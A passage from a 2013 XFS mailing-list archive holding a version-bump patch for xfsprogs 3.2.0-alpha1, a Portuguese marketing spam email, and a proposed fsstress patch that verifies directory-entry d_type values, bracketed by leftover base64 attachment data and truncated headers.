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 ------=_NextPart_001_4300_3FF845BC.229D54DE-- From bpm@sgi.com Mon Sep 16 15:56:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0B0407F3F for ; Mon, 16 Sep 2013 15:56:41 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id C60EA8F8054; Mon, 16 Sep 2013 13:56:37 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 9F3F34266DC; Mon, 16 Sep 2013 15:56:37 -0500 (CDT) Date: Mon, 16 Sep 2013 15:56:37 -0500 From: Ben Myers To: xfs@oss.sgi.com, sandeen@sandeen.net, rjohnston@sgi.com Subject: xfsprogs: update version for 3.2.0-alpha1 Message-ID: <20130916205637.GD1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.20 (2009-06-14) xfsprogs: update version for 3.2.0-alpha1 Update the VERSION and doc/CHANGES file for alpha release, 3.2.0-alpha1 Signed-off-by: Ben Myers Reviewed-by: Rich Johnston --- VERSION | 4 ++-- configure.ac | 2 +- doc/CHANGES | 4 ++++ 3 files changed, 7 insertions(+), 3 deletions(-) Index: b/VERSION =================================================================== --- a/VERSION 2013-09-16 15:50:29.544368912 -0500 +++ b/VERSION 2013-09-16 15:50:37.993732514 -0500 @@ -2,6 +2,6 @@ # This file is used by configure to get version information # PKG_MAJOR=3 -PKG_MINOR=1 -PKG_REVISION=11 +PKG_MINOR=2 +PKG_REVISION=0-alpha1 PKG_BUILD=1 Index: b/configure.ac =================================================================== --- a/configure.ac 2013-09-16 15:54:14.394338104 -0500 +++ b/configure.ac 2013-09-16 15:54:37.154377546 -0500 @@ -1,4 +1,4 @@ -AC_INIT([xfsprogs], [3.1.11]) +AC_INIT([xfsprogs], [3.2.0-alpha1]) AC_PREREQ(2.50) AC_CONFIG_AUX_DIR([.]) AC_CONFIG_MACRO_DIR([m4]) Index: b/doc/CHANGES =================================================================== --- a/doc/CHANGES 2013-09-16 15:50:13.683773140 -0500 +++ b/doc/CHANGES 2013-09-16 15:55:58.379446313 -0500 @@ -1,3 +1,7 @@ +xfsprogs-3.2.0-alpha1 (16 Sep 2013) + - Alpha release for the purpose of testing the CRC feature during the + v3.12 kernel -rc series. + xfsprogs-3.1.11 (8 May 2013) - Support for relative paths in xfs_quota thanks to Satoru Takeuchi. - mkfs.xfs will always go into multidisk mode when filesystem From return@cli12957.p02me.com Mon Sep 16 16:01:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_IMAGE_RATIO_06, HTML_MESSAGE,T_REMOTE_IMAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3B0687F3F for ; Mon, 16 Sep 2013 16:01:54 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A3EF1AC003 for ; Mon, 16 Sep 2013 14:01:47 -0700 (PDT) X-ASG-Debug-ID: 1379365304-04cbb02c3a10b1000001-w1Z2WR Received: from 6ca3f076-static.p02me.com (6ca3f076-static.p02me.com [108.163.240.118]) by cuda.sgi.com with ESMTP id CJA0IEKgYBeYqJzc for ; Mon, 16 Sep 2013 14:01:44 -0700 (PDT) X-Barracuda-Envelope-From: return@cli12957.p02me.com X-Barracuda-Apparent-Source-IP: 108.163.240.118 List-Unsubscribe: Subject: =?UTF-8?Q?Indicadores_e_Desempenho?= Message-Id: <12957.148.104307.1379365486@329dh19773h6ca3f076-static.p02me.com> X-ASG-Orig-Subj: =?UTF-8?Q?Indicadores_e_Desempenho?= X-Priority: 3 To: Date: Mon, 16 Sep 2013 18:04:46 -0300 (BRT) Content-Type: multipart/alternative; boundary="57a9be40c440507f9b35ffbae50ad7e640f7f9e28766daa27270469ed830" Mime-Version: 1.0 From: =?UTF-8?Q?Esad_Cursos?= Reply-To: marcia@esadcursos.com.br X-Barracuda-Connect: 6ca3f076-static.p02me.com[108.163.240.118] X-Barracuda-Start-Time: 1379365304 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_IMAGE_RATIO_06, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140669 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_IMAGE_RATIO_06 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. --57a9be40c440507f9b35ffbae50ad7e640f7f9e28766daa27270469ed830 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset="UTF-8" Seu visualizador de e-mail est=C3=A1 configurado para mostrar a mensagem e= m formato texto. Para visualizar corretamente o conte=C3=BAdo desse e-mail copie e cole o = link abaixo em seu navegador: http://d-app.esadcursos.com.br/e/12957/148/104307/895b0 --57a9be40c440507f9b35ffbae50ad7e640f7f9e28766daa27270469ed830 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable ESAD Cursos - IDEO<= meta content=3D"ESAD CursosS" name=3D"author" /> --- fsstress doesn't usually do validation, but it's such a handy framework for creating a ton of random files, this seems like an ok place to put it. What do folks think? diff --git a/ltp/fsstress.c b/ltp/fsstress.c index 5d5611f..711ea9a 100644 --- a/ltp/fsstress.c +++ b/ltp/fsstress.c @@ -246,6 +246,7 @@ int rtpct; unsigned long seed = 0; ino_t top_ino; int verbose = 0; +int verify_d_type = 0; sig_atomic_t should_stop = 0; char *execute_cmd = NULL; int execute_freq = 1; @@ -315,7 +316,7 @@ int main(int argc, char **argv) int nousage = 0; xfs_error_injection_t err_inj; struct sigaction action; - const char *allopts = "d:e:f:i:m:M:n:o:p:rs:S:vwx:X:zH"; + const char *allopts = "d:De:f:i:m:M:n:o:p:rs:S:vwx:X:zH"; errrange = errtag = 0; umask(0); @@ -327,6 +328,9 @@ int main(int argc, char **argv) case 'd': dirname = optarg; break; + case 'D': + verify_d_type++; + break; case 'e': sscanf(optarg, "%d", &errtag); if (errtag < 0) { @@ -1491,6 +1495,7 @@ usage(void) printf(" [-p nproc][-r len][-s seed][-v][-w][-x cmd][-z][-S][-X ncmd]\n"); printf("where\n"); printf(" -d dir specifies the base directory for operations\n"); + printf(" -D verify d_type in any readdir operations, 2x to disallow DT_UNKNOWN\n"); printf(" -e errtg specifies error injection stuff\n"); printf(" -f op_name=freq changes the frequency of option name to freq\n"); printf(" the valid operation names are:\n"); @@ -2338,12 +2343,71 @@ getattr_f(int opno, long r) close(fd); } +void test_d_type(int opno, pathname_t *f, struct dirent64 *de) +{ + struct stat64 sb; + char path[PATH_MAX]; + + snprintf(path, PATH_MAX, "%s/%s", f->path, de->d_name); + + /* Don't check ./. or ./.. */ + if (!strncmp(path, "./.", 3)) + return; + + if (lstat64(path, &sb)) { + printf("%d/%d: getdents - can't stat %s\n", + procid, opno, path); + } else { + int bad_d_type = 0; + + switch (de->d_type) { + case DT_BLK: + if (!S_ISBLK(sb.st_mode)) + bad_d_type++; + break; + case DT_CHR: + if (!S_ISCHR(sb.st_mode)) + bad_d_type++; + break; + case DT_DIR: + if (!S_ISDIR(sb.st_mode)) + bad_d_type++; + break; + case DT_FIFO: + if (!S_ISFIFO(sb.st_mode)) + bad_d_type++; + break; + case DT_LNK: + if (!S_ISLNK(sb.st_mode)) + bad_d_type++; + break; + case DT_REG: + if (!S_ISREG(sb.st_mode)) + bad_d_type++; + break; + case DT_SOCK: + if (!S_ISSOCK(sb.st_mode)) + bad_d_type++; + break; + case DT_UNKNOWN: + if (verify_d_type > 1) + bad_d_type++; + break; + } + if (bad_d_type) + printf("%d/%d: getdents - bad d_type %d for %s\n", + procid, opno, de->d_type, path); + + } +} + void getdents_f(int opno, long r) { DIR *dir; pathname_t f; int v; + struct dirent64 *de; init_pathname(&f); if (!get_fname(FT_DIRm, r, &f, NULL, NULL, &v)) @@ -2357,8 +2421,11 @@ getdents_f(int opno, long r) free_pathname(&f); return; } - while (readdir64(dir) != NULL) + while ((de = readdir64(dir)) != NULL) { + if (verify_d_type) + test_d_type(opno, &f, de); continue; + } if (v) printf("%d/%d: getdents %s 0\n", procid, opno, f.path); free_pathname(&f); From sandeen@redhat.com Mon Sep 16 17:00:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4D02F7F3F for ; Mon, 16 Sep 2013 17:00:41 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 356568F80DF for ; Mon, 16 Sep 2013 15:00:41 -0700 (PDT) X-ASG-Debug-ID: 1379368840-04cbb02c3a10b43b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id P4dBiut92xxFEBHp for ; Mon, 16 Sep 2013 15:00:40 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com 